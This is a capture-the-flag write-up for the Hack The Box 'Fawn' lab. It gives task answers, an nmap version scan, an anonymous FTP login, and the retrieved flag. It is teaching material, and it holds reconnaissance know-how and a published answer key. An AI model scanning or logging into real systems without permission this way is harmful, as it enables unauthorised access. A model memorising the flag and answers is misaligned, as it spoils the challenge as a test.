

Fawn

- REF: <https://medium.com/@ShuvroWritesCode/hack-the-box-fawn-walkthrough-cbc7e924135e>

Task 1

- What does the 3-letter acronym FTP stand for?
 - File Transfer Protocol

Task 2

- Which port does the FTP service listen on usually?
 - 21

Task 3

- What acronym is used for the version of FTP secured by running over the SSH protocol?
 - SFTP

Task 4

- What is the command we can use to send an ICMP echo request to test our connection to the target?
 - ping

Task 5

- From your scans, what version is FTP running on the target?

- Use `nmap -sV` to enables version detection

```
(kali㉿kali)-[~/Downloads]
└─$ nmap -sV 10.129.1.58
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-17 22:11 +08
Nmap scan report for 10.129.1.58
Host is up (0.30s latency).
Not shown: 984 closed tcp ports (conn-refused)
PORT      STATE      SERVICE      VERSION
3/tcp     filtered  compressnet
21/tcp    open      ftp          vsftpd 3.0.3
548/tcp   filtered  afp
1100/tcp  filtered  mctp
1174/tcp  filtered  fnet-remote-ui
1248/tcp  filtered  hermes
3052/tcp  filtered  powerchute
3826/tcp  filtered  wormux
5226/tcp  filtered  hp-status
5666/tcp  filtered  nrpe
6666/tcp  filtered  irc
8402/tcp  filtered  abarsd
9050/tcp  filtered  tor-socks
10000/tcp filtered  snet-sensor-mgmt
44176/tcp filtered  unknown
50389/tcp filtered  unknown
Service Info: OS: Unix
```

Task 6

- From your scans, what OS type is running on the target?
 - Unix

Task 7

- What is the command we need to run in order to display the 'ftp' client help menu?
 - `ftp -h`

Task 8

- What is username that is used over FTP when you want to log in without having an account?
 - anonymous

Task 9

- What is the response code we get for the FTP message 'Login successful'?
 - `ftp {target_IP}`
 - Login as anonymous
 - The respond is `230 Login Successful`

```

(kali@kali)-[~/Downloads]
$ ftp 10.129.1.58
Connected to 10.129.1.58.
220 (vsFTPD 3.0.3)
Name (10.129.1.58:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

```

Task 10,11,12

- List all the file using `ls`
- Download the file using `get`
- Cat the flag

The image shows two terminal windows side-by-side. The left window shows the initial FTP connection and file transfer process. The right window shows the local file system after the transfer.

```

kali@kali: ~/Downloads
$ ftp 10.129.1.58
Connected to 10.129.1.58.
220 (vsFTPD 3.0.3)
Name (10.129.1.58:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||64541|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.
ftp> cat flag.txt
?Invalid command.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||17021|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |*****| 32 27.22 KiB/s 00:00 ET
A
226 Transfer complete.
32 bytes received in 00:00 (0.10 KiB/s)
ftp>

```

```

kali@kali: ~/Downloads
$ ls
flag.txt          pycharm-community-2024.1.tar.gz
nnonthakornn.ovpn starting_point_nonthakorn.ovpn

```

```

kali@kali: ~/Downloads
$ cat flag.txt
035db21c881520061c53e0536e44f815

```